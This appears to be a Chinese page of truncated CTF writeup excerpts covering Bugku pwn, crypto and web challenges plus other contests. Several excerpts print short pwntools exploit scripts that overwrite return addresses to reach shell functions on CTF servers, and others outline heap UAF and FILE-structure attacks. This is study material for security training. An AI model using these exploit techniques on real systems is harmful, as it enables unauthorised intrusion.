bugku - pwn wp】的更多相关文章

一. PWN1 题目:nc 114.116.54.89 10001 1.  直接kali里面跑nc 2.ls看看有啥 3.明显有一个flag cat查看一下 搞定 二 . PWN2 题目:给了nc 114.116.54.89 10003还给了一个附件 1.放到ubantu中file一下,,64位,动态链接 2.用64位的ida打开 看一下main函数按f5,可知read函数有一个缓冲区漏洞 后面还有一个getshell函数 那么思路也就是把溢出的地址改为getshell函数执行的地址 在gdb动…
1.滴答~滴 摩斯码,在线解开. 2. 栅栏密码,在线解就出flag了. 3. Ook解密,由.?!Ook组成密文,在线网站解密 4.这不是摩斯密码 有点像jsfuck,发现又不是,因为不会出现大于号,查了一下发现brainfuck加密,在线网站解下就ok了. 5.easy_crypto 有点像二进制,发现去转文本失败了,看wp,发现是摩斯密码的另一种,用脚本解出来的, from __future__ import print_function a = input("input the stri…
babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn import * from pwn import p64,u64,p32,u32,p8 from pwnlib import timeout context.arch = 'amd64' # context.log_level = 'debug' context.terminal = ['tmux','…
题目:bugku Misc论剑 第一步:在winhex里分析 发现文件头有两个 两个jpg文件中间还有一段二进制码 在kali里分离出两个一样jpg图片,但是没有什么发现 二进制码解出来也没有flag 然后就没有了思路... 找到网上的wp做了一遍,收获很多 修改jpg的宽高:FF C2 XX XX XX (四个数字作为高度)(四个数字作为宽度) 不过不是所有的jpg图片都可以这样修改,具体是怎么样还不清楚. 修改之后发现图片下方出现了被遮挡一部分的flag 2. 7z文件的文件头:37 7A…
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_shell 送分题,连接上去就是/bin/sh 不过不知道为啥我的nc连接不上... 还是用pwntool的remote连接的 from pwn import * io = remote("111.200.241.244", 64209) io.interactive() 2.hello pw…
---恢复内容开始--- 1.滴答滴 摩斯密码,http://tool.bugku.com/mosi/ 2.聪明的小羊 从提示猜是栅栏密码,http://tool.bugku.com/jiemi/ 3.ok 看格式是ook https://tool.bugku.com/brainfuck/ 4.这不是摩斯密码 看格式很像是brainfuck 试了下https://tool.bugku.com/brainfuck/ 解决 5.easy crypto 稍稍变化了一下的摩斯,还是用 http://to…
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本 from pwn import* sh=remote('f.buuoj.cn',6001) payload='a'*23+p64(0x401186) sh.sendline(payload) sh.interactive() 得到flag 3,warmup_csaw_2016…
面向pwn刷cgctfPWN1,When did you born题目给了一个ELF文件,和一个.C文件先运行ELF,大概如下What’s Your Birth?0What’s Your Name?0You Are Born In 0You Are Naive.You Speed One Second Here.打开.C文件,发现是ELF的源码 #include <stdio.h> struct Student { char name[8]; int birth; }; int main(vo…
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 25677 [注] nc命令详解 -c shell命令为"-e":使用/bin/sh来执行 [危险] -e 文件名程序在连接后执行 [危险] -b 允许广播 -g 网关源路由跃点,最多8个 -G num源路由指针:4,8,12... -i secs 发送的线路和扫描的端口的延迟间隔为1秒 -…
1 打开题目,下载apk 2 将下载好的apk拖进android killer中,提示文件名过长,随便更改一下文件名即可 3 查看入口文件源码(点击android killer工具栏咖啡杯图标) 4  发现调用了encode类的check函数(传进去的参数为输入框EditText的值),点击跟踪进encode类 5 发现在emcode.check函数中为flag的加密算法,返回值为bool类型,让check返回为true即可,我使用python3写了一个根据加密思路的解密脚本,代码如下: a =…
1. 百度托马斯这个人居然还发明了一种轮转的加密法,发现原理是,他将很多行乱序的26个字母,插到一根柱子上,参考糖葫芦的样子,可以旋转每一行,设置自己要发送的明文后,向对方发送乱码的一列,对方只要将这乱码一列还原,发现在其中一列中,就是原文. 密钥给的是每一行的顺序,跟着排下. 找到flag. 2. zip分为数据区,目录区,目录结束,修改对应文件的全局标记为00,得到flag 3. 十六进制转字符串,转完后发现是base64,拿去解码, 看你的键盘,这些字符都围着谁. 4. 写个脚本就出来了.…
打开网站之后 使用burp抓包 修改添加Client-ip: 127.0.0.1 flag{85ff2ee4171396724bae20c0bd851f6b}…
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete会清0变量导致无法写,一直没构造出unsorted bin attack,后面根据wp发现只要修改一下free的顺序就行了. 这题的主要功能如下: 正常的堆题模板,1是申请堆,2是删除堆,3是写刚申请的堆,4是输出刚申请的堆的内容,5结束. 首先泄露libc的地址,申请堆只能申请0x7f到0x100…
栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞利用开发协助 pwndbg:和PEDA类似,GDB插件 pwntools:写exp和poc的利器(python库) checksec:检查elf程序的安全性和程序的运行平台(一般来说peda里面自带的就够了) objdump和readelf:可以很快的知道elf程序中的关键信息(Ubuntu自带) ROPga…
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现,最近的 hitcon2017 又提出了一种新的方式.本文对该攻击进行总结. 正文 首先来一张 _IO_FILE 结构体的结构 _IO_FILE_plus 等价于 _IO_FILE + vtable 调试着来看看(64 位) vtable 指向的位置是一组函数指针 利用 vtable 进行攻击 通过…
一月 一叶飘零大佬的WP:安恒月赛一月 二进制部分:zjgcjy大佬的WP reverse1更容易理解的一种解法 pwn1详解 二月 一叶飘零WP 二进制部分: reverse Pwn 三月 ...…
护网杯预选赛 WP转载自:https://qingchenldl.github.io/2018/10/13/%E6%8A%A4%E7%BD%91%E6%9D%AFWP-BitPwn/#more WEB easy tornado 打开链接是几个文件的列表,分别打开,关注url和内容 http://49.4.79.198:31809/file?filename=Orz.txt&signature=0434ba1fadd43ce31661c315fbb8a9c6 Orz.txt render() ht…
wp 0x00 p200 先分析了程序关键的数据结构 分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf 脚本如下: 1.先free,因为free时候的判断,程序会free掉ptr + 4 这块堆 2.然后再申请到这块ptr +4的堆并往里写能让通过free判断的数据 3.再free,此时可以把整块Ton堆给free 4.再申请得到Tom的堆块,往里写数据,让Tom堆块里的function指针值减8 5.执行1.use…
今天终于拾起来ctf的比赛了,开始了练习之旅.今天写一道bugku上的题目wp,属于利用php源码泄漏的题目吧,我觉得不是很简单...所以把自己的思路放上来. 题目源头:http://120.24.86.145:8006/test1/ 题目打开后得到如下的信息,查看源码后发现 很显然想让我们利用源码去得到flag.这里我们稍微解释下这个源码的意思. 开始有三个变量:user,file,pass,但是我们发现这里的pass也就是password没有什么用,所以我们重点关注前两个变量.看下面的条件…
1.easy_pwn 可以利用的点: __int64 __fastcall sub_E26(signed int a1, unsigned int a2) { __int64 result; // rax if ( a1 > (signed int)a2 ) return a2; ) LODWORD(result) = a1 + ; else LODWORD(result) = a1; return (unsigned int)result; } 然后 覆盖了 下一个chunk的 size ,然…
护网 又是签到 一天 这道题一开始 不懂得如何泄露 libc 信息,就蒙了  后来群里师傅也是刚刚好 做出 到这里 我就接着做了 . 先看下保护,发现  全开了 然后 就看下流程 大概 就是添加  chunk  show  合并两个chunk 可利用的 洞就是 int merge() { int v1; // ST1C_4 signed int i; // [rsp+8h] [rbp-18h] int index1; // [rsp+Ch] [rbp-14h] int index2; // [r…
本次SWPUCTF开赛了,一共做了5个misc+2个web,RE和Android没时间看= =,pwn完全不会,果然又是和去年一样划水.题目都出的很不错,做题的时候思路其实也容易想到,剩下几个web有思路但是最后还是没有做出来. 简单写个WP吧. 本次比赛的部分文件我已保存上传至xxx.懒得上传,需要的话找我拿吧. 一.MISC 神奇的二维码 下载之后是一个二维码,直接扫描后是一个fakeflag,直接binwalk先扫描一波 可以发现里面有几个rar,将其分离出来,其中两个rar解出来都是没有…
源码 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void setbufs() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); setvbuf(stderr, 0, 1, 0); } int main() { char tips[]="suuuuuuuper easy test."; char buf[32]; int…
Linux下pwn从入门到放弃 0x0 简介 pwn,在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell. 虽然web系统在互联网中占有比较大的分量,但是随着移动端,ioT的逐渐流行,传统的缓冲区溢出又一次有了用武之处 0x01 工欲善其事,必先利其器 Linux下的pwn常用到的工具有: gdb:Linux调试中必要用到的 gdb-peda:gdb方便调试的工具,类似的工具有gef,gdbinit,这些工具的安装可以参考:http://blog.csdn.net/gatiem…
sql注入2 200 http://123.206.87.240:8007/web2/ 全都tm过滤了绝望吗? 提示 !,!=,=,+,-,^,%…
本想练习pwn的题目活跃下思维,但是接触后发现完全不懂,gg 然后就多方搜集,弄来了一些工具(IDA pro.pwntool)结果自己还是不会用,又是一番刷视频,结果看完又是一脸懵. 只记得一个快捷键Shift+F12,查看下字符...然后其他的,呵呵哒. 最后既然啥都看不懂但是题目还是要做的,只能一直瞟师傅们的wp了,希望在接下来的一段时间能够“瞟有所成”.... 下面这道题呢是来自攻防世界的题目——cgpwn2. 在题目场景那里本来有一个打开场景的,点击后等待一下就可以了.在下面有一个附件,…
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod 777 XXX加上./XXX 运行一下 静态调试 打开IDA-64,一路默认,看到main函数: 可以看到执行的功能是先输入字符串长度,然后输入字符串,接着会返回指定长度的输入字符串.如果一开始输入的数字小于16,会指定长度为16.可以看到很明显的栈溢出漏洞.但是又有些不一样,看大神WP才知道需要s…
1.web2 打开网页: 哈哈,其实按下F12你就会发现flag. 2.计算器 打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入结果就拿到flag了. 3.web基础$_GET 30 打开网页,审计一下大概是要让其得到一个what=flag,于是在URL后面加上?what=flag,就得到flag了. 4.web基础$_POST 30 打开网页,审计一下大概是要让你上传一个what=flag,用hackbar来post一下就…
没做出来,wtcl,看了师傅们的wp才找到思路,收获了很多 怎么说呢,这个题很简单但是很巧妙,逆起来几乎无难度 漏洞点位于free函数,一个简单的UAF漏洞 然后接下来说说我一开始的思路 由于程序没有提供show函数,所以几乎可以确定要打_IO_2_1_stdout_,改掉flag然后泄漏libc 但是add函数里面只能申请小于0x60的chunk,根本找不到残留的unsorted bin留下的指针 然后,然后我就找不到思路了 然后学习了一波师傅们的wp 其实这个除了UAF还有一个小漏洞,就是可…
前言 之前做的今天整理下 这个有点乱不建议大家参考我的wp 这个主要是自己看的.部分的我做的时候打不开就没写. 练手地址:https://ctf.bugku.com 矛盾 矛盾考察的是PHP弱类型首先is_numeric()函数判断是不是数字或字符串 取反则必须要输入字符串而且这个字符串还要==1 这里用到PHP弱类型比较如:1=1aaaa 所以构造payload:http://123.206.87.240:8002/get/index1.php?num=1得到flag web3 web3禁用J…